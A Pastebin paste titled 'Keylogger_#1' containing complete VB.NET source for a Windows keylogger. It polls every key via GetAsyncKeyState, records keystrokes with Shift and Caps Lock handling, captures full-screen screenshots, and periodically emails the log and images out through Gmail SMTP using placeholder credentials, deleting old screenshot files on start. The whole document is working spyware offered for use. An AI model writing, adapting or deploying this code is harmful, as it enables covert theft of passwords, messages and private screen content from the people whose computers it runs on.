op7

Keylogger_#1

op7
Feb 14th, 2017
233
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 15.68 KB | None | 0 0
  1.  
  2. Imports System.Net.Mail, System.Net, System.IO, System.Diagnostics.Process, System.Management
  3.  
  4. Public Class Form1
  5.  
  6.     Dim result As Integer
  7.     Dim strin As String = Nothing
  8.     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
  9.     Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
  10.  
  11.     Public Function GetCapslock() As Boolean
  12.         ' Return Or Set the Capslock toggle.
  13.  
  14.         GetCapslock = CBool(GetKeyState(&H14) And 1)
  15.  
  16.     End Function
  17.  
  18.     Public Function GetShift() As Boolean
  19.  
  20.         ' Return Or Set the Capslock toggle.
  21.  
  22.         GetShift = CBool(GetAsyncKeyState(&H10))
  23.  
  24.     End Function
  25.  
  26.  
  27.  
  28.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  29.         For i As Integer = 1 To 225
  30.             result = 0
  31.             result = GetAsyncKeyState(i)
  32.             If result = -32767 Then
  33.                 If GetCapslock() = True And GetShift() = True Then
  34.                     Select Case (i)
  35.                         Case 192
  36.                             TextBox1.Text = TextBox1.Text + "~"
  37.                         Case 1
  38.                             'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
  39.                         Case 64 To 90
  40.                             TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  41.                         Case 97 To 122
  42.                             TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  43.                         Case 32
  44.                             TextBox1.Text = TextBox1.Text + " "
  45.                         Case 48
  46.                             TextBox1.Text = TextBox1.Text + ")"
  47.                         Case 49
  48.                             TextBox1.Text = TextBox1.Text + "!"
  49.                         Case 50
  50.                             TextBox1.Text = TextBox1.Text + "@"
  51.                         Case 51
  52.                             TextBox1.Text = TextBox1.Text + "#"
  53.                         Case 52
  54.                             TextBox1.Text = TextBox1.Text + "$"
  55.                         Case 53
  56.                             TextBox1.Text = TextBox1.Text + "%"
  57.                         Case 54
  58.                             TextBox1.Text = TextBox1.Text + "^"
  59.                         Case 55
  60.                             TextBox1.Text = TextBox1.Text + "&"
  61.                         Case 56
  62.                             TextBox1.Text = TextBox1.Text + "*"
  63.                         Case 57
  64.                             TextBox1.Text = TextBox1.Text + "("
  65.                         Case 8
  66.                             TextBox1.Text = TextBox1.Text + ""
  67.                         Case 46
  68.                             TextBox1.Text = TextBox1.Text + "[Del]"
  69.                         Case 190
  70.                             TextBox1.Text = TextBox1.Text + ">"
  71.                         Case 16
  72.                         Case 160 To 165
  73.                         Case 17
  74.                             TextBox1.Text = TextBox1.Text + ""
  75.                         Case 18
  76.                             TextBox1.Text = TextBox1.Text + ""
  77.                         Case 189
  78.                             TextBox1.Text = TextBox1.Text + "_"
  79.                         Case 187
  80.                             TextBox1.Text = TextBox1.Text + "+"
  81.                         Case 219
  82.                             TextBox1.Text = TextBox1.Text + "{"
  83.                         Case 221
  84.                             TextBox1.Text = TextBox1.Text + "}"
  85.                         Case 186
  86.                             TextBox1.Text = TextBox1.Text + ":"
  87.                         Case 222
  88.                             TextBox1.Text = TextBox1.Text + """"
  89.                         Case 188
  90.                             TextBox1.Text = TextBox1.Text + "<"
  91.                         Case 191
  92.                             TextBox1.Text = TextBox1.Text + "?"
  93.                         Case 220
  94.                             TextBox1.Text = TextBox1.Text + "|"
  95.                         Case 13
  96.                             TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
  97.                         Case 20
  98.                         Case 91 'windows key
  99.  
  100.                         Case 2
  101.                             TextBox1.Text = TextBox1.Text + " [PPM]"
  102.                         Case 37 To 40
  103.                         Case Else
  104.                             TextBox1.Text = TextBox1.Text + " (" + i.ToString + ") "
  105.                     End Select
  106.                 End If
  107.                 If GetCapslock() = True And GetShift() = False Then
  108.                     Select Case (i)
  109.                         Case 91 'windows key
  110.                         Case 1
  111.                             'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
  112.                         Case 64 To 90
  113.                             TextBox1.Text = TextBox1.Text + Chr(i)
  114.                         Case 97 To 122
  115.                             TextBox1.Text = TextBox1.Text + Chr(i)
  116.                         Case 32
  117.                             TextBox1.Text = TextBox1.Text + " "
  118.                         Case 48 To 57
  119.                             TextBox1.Text = TextBox1.Text + Chr(i)
  120.                         Case 8
  121.                             TextBox1.Text = TextBox1.Text + ""
  122.                         Case 46
  123.                             TextBox1.Text = TextBox1.Text + "[Del]"
  124.                         Case 190
  125.                             TextBox1.Text = TextBox1.Text + "."
  126.                         Case 16
  127.                         Case 160 To 165
  128.                         Case 20
  129.                         Case 192
  130.                             TextBox1.Text = TextBox1.Text + "`"
  131.                         Case 189
  132.                             TextBox1.Text = TextBox1.Text + "-"
  133.                         Case 187
  134.                             TextBox1.Text = TextBox1.Text + "="
  135.  
  136.                         Case 219
  137.                             TextBox1.Text = TextBox1.Text + "["
  138.                         Case 221
  139.                             TextBox1.Text = TextBox1.Text + "]"
  140.                         Case 186
  141.                             TextBox1.Text = TextBox1.Text + ";"
  142.                         Case 222
  143.                             TextBox1.Text = TextBox1.Text + "'"
  144.                         Case 188
  145.                             TextBox1.Text = TextBox1.Text + ","
  146.                         Case 191
  147.                             TextBox1.Text = TextBox1.Text + "/"
  148.                         Case 220
  149.                             TextBox1.Text = TextBox1.Text + "\"
  150.                         Case 17
  151.                             TextBox1.Text = TextBox1.Text + ""
  152.                         Case 18
  153.                             TextBox1.Text = TextBox1.Text + ""
  154.                         Case 13
  155.                             TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
  156.  
  157.                         Case 2
  158.                             TextBox1.Text = TextBox1.Text + " [PPM]"
  159.                         Case 37 To 40
  160.                         Case Else
  161.                             TextBox1.Text = TextBox1.Text + " (" + i.ToString + ") "
  162.                     End Select
  163.                 End If
  164.                 If GetCapslock() = False And GetShift() = True Then
  165.                     Select Case (i)
  166.                         Case 91 'windows key
  167.                         Case 192
  168.                             TextBox1.Text = TextBox1.Text + "~"
  169.                         Case 1
  170.                             ' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
  171.                         Case 64 To 90
  172.                             TextBox1.Text = TextBox1.Text + Chr(i)
  173.                         Case 97 To 122
  174.                             TextBox1.Text = TextBox1.Text + Chr(i)
  175.                         Case 32
  176.                             TextBox1.Text = TextBox1.Text + " "
  177.                         Case 48
  178.                             TextBox1.Text = TextBox1.Text + ")"
  179.                         Case 49
  180.                             TextBox1.Text = TextBox1.Text + "!"
  181.                         Case 50
  182.                             TextBox1.Text = TextBox1.Text + "@"
  183.                         Case 51
  184.                             TextBox1.Text = TextBox1.Text + "#"
  185.                         Case 52
  186.                             TextBox1.Text = TextBox1.Text + "$"
  187.                         Case 53
  188.                             TextBox1.Text = TextBox1.Text + "%"
  189.                         Case 54
  190.                             TextBox1.Text = TextBox1.Text + "^"
  191.                         Case 55
  192.                             TextBox1.Text = TextBox1.Text + "&"
  193.                         Case 56
  194.                             TextBox1.Text = TextBox1.Text + "*"
  195.                         Case 57
  196.                             TextBox1.Text = TextBox1.Text + "("
  197.                         Case 8
  198.                             TextBox1.Text = TextBox1.Text + " [<-] "
  199.                         Case 46
  200.                             TextBox1.Text = TextBox1.Text + "[Del]"
  201.                         Case 190
  202.                             TextBox1.Text = TextBox1.Text + ">"
  203.                         Case 16
  204.                         Case 160 To 165
  205.                         Case 17
  206.                             TextBox1.Text = TextBox1.Text + ""
  207.                         Case 18
  208.                             TextBox1.Text = TextBox1.Text + ""
  209.                         Case 189
  210.                             TextBox1.Text = TextBox1.Text + "_"
  211.                         Case 187
  212.                             TextBox1.Text = TextBox1.Text + "+"
  213.                         Case 219
  214.                             TextBox1.Text = TextBox1.Text + "{"
  215.                         Case 221
  216.                             TextBox1.Text = TextBox1.Text + "}"
  217.                         Case 186
  218.                             TextBox1.Text = TextBox1.Text + ":"
  219.                         Case 222
  220.                             TextBox1.Text = TextBox1.Text + """"
  221.                         Case 188
  222.                             TextBox1.Text = TextBox1.Text + "<"
  223.                         Case 191
  224.                             TextBox1.Text = TextBox1.Text + "?"
  225.                         Case 220
  226.                             TextBox1.Text = TextBox1.Text + "|"
  227.                         Case 13
  228.                             TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
  229.  
  230.                         Case 20
  231.                         Case 2
  232.                             TextBox1.Text = TextBox1.Text + " [PPM]"
  233.                         Case 37 To 40
  234.                         Case Else
  235.                             TextBox1.Text = TextBox1.Text + " (" + i.ToString + ") "
  236.                     End Select
  237.                 End If
  238.                 If GetCapslock() = False And GetShift() = False Then
  239.                     Select Case (i)
  240.                         Case 1
  241.                             ' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
  242.                         Case 64 To 90
  243.                             TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  244.                         Case 97 To 122
  245.                             TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  246.                         Case 32
  247.                             TextBox1.Text = TextBox1.Text + " "
  248.                         Case 48 To 57
  249.                             TextBox1.Text = TextBox1.Text + Chr(i)
  250.                         Case 8
  251.                             TextBox1.Text = TextBox1.Text + " [<-] "
  252.                         Case 46
  253.                             TextBox1.Text = TextBox1.Text + "[Del]"
  254.                         Case 190
  255.                             TextBox1.Text = TextBox1.Text + "."
  256.                         Case 16
  257.                         Case 160 To 165
  258.                         Case 20
  259.                         Case 192
  260.                             TextBox1.Text = TextBox1.Text + "`"
  261.                         Case 189
  262.                             TextBox1.Text = TextBox1.Text + "-"
  263.                         Case 187
  264.                             TextBox1.Text = TextBox1.Text + "="
  265.                         Case 91 'windows key
  266.                         Case 219
  267.                             TextBox1.Text = TextBox1.Text + "["
  268.                         Case 221
  269.                             TextBox1.Text = TextBox1.Text + "]"
  270.                         Case 186
  271.                             TextBox1.Text = TextBox1.Text + ";"
  272.                         Case 222
  273.                             TextBox1.Text = TextBox1.Text + "'"
  274.                         Case 188
  275.                             TextBox1.Text = TextBox1.Text + ","
  276.                         Case 191
  277.                             TextBox1.Text = TextBox1.Text + "/"
  278.                         Case 220
  279.                             TextBox1.Text = TextBox1.Text + "\"
  280.                         Case 17
  281.                             TextBox1.Text = TextBox1.Text + ""
  282.                         Case 18
  283.                             TextBox1.Text = TextBox1.Text + ""
  284.                         Case 13
  285.                             TextBox1.Text = TextBox1.Text + " [Enter] " + vbNewLine
  286.  
  287.                         Case 2
  288.                             TextBox1.Text = TextBox1.Text + " [PPM]"
  289.                         Case 37 To 40
  290.  
  291.                         Case Else
  292.                             TextBox1.Text = TextBox1.Text + " (" + i.ToString + ") "
  293.                     End Select
  294.                 End If
  295.  
  296.             End If
  297.         Next i
  298.  
  299.     End Sub
  300.  
  301.  
  302.  
  303.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  304.         Try
  305.             For Each foundFile As String In My.Computer.FileSystem.GetFiles(
  306.         My.Computer.FileSystem.SpecialDirectories.AllUsersApplicationData,
  307.         Microsoft.VisualBasic.FileIO.SearchOption.SearchTopLevelOnly, "*.bmp")
  308.  
  309.                 System.IO.File.Delete(foundFile)
  310.             Next
  311.  
  312.  
  313.  
  314.  
  315.         Catch
  316.  
  317.         End Try
  318.  
  319.     End Sub
  320.  
  321.     Private Sub SendMail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SendMail.Tick
  322.         sendmail2()
  323.     End Sub
  324.  
  325.  
  326.     Private Sub sendmail2()
  327.  
  328.         Try
  329.  
  330.             PictureBox2.Image = Nothing
  331.             Label3.Text = Val(Label3.Text) + 1
  332.  
  333.  
  334.             Dim bounds As Rectangle
  335.             Dim screenshot As System.Drawing.Bitmap
  336.             Dim graph As Graphics
  337.             bounds = Screen.PrimaryScreen.Bounds
  338.             screenshot = New Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
  339.             graph = Graphics.FromImage(screenshot)
  340.             graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
  341.             PictureBox2.Image = screenshot
  342.  
  343.  
  344.  
  345.  
  346.  
  347.             PictureBox2.Image.Save(System.IO.Path.Combine(My.Computer.FileSystem.SpecialDirectories.AllUsersApplicationData, "screenshot" & Label3.Text & ".bmp"))
  348.             PictureBox2.Image = Nothing
  349.             Dim startupPath As String = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile)
  350.             Dim Mail As New MailMessage
  351.             Dim attach As New Attachment(System.IO.Path.Combine(My.Computer.FileSystem.SpecialDirectories.AllUsersApplicationData, "screenshot" & Label3.Text & ".bmp"))
  352.  
  353.             Mail.Attachments.Add(attach)
  354.  
  355.             Mail.Subject = "LOGS"
  356.             Mail.To.Add("yourmail@gmail.com")
  357.             Mail.From = New MailAddress("yourmail@gmail.com")
  358.             Mail.Body = TextBox1.Text
  359.  
  360.  
  361.  
  362.             Dim SMTP As New SmtpClient("smtp.gmail.com")
  363.             SMTP.EnableSsl = True
  364.             SMTP.Credentials = New System.Net.NetworkCredential("yourmail@gmail.com", "yourmailpassword")
  365.             SMTP.Port = "587"
  366.  
  367.             SMTP.Send(Mail)
  368.  
  369.         Catch
  370.         End Try
  371.     End Sub
  372.  
  373. End Class
Add Comment
Please, Sign In to add comment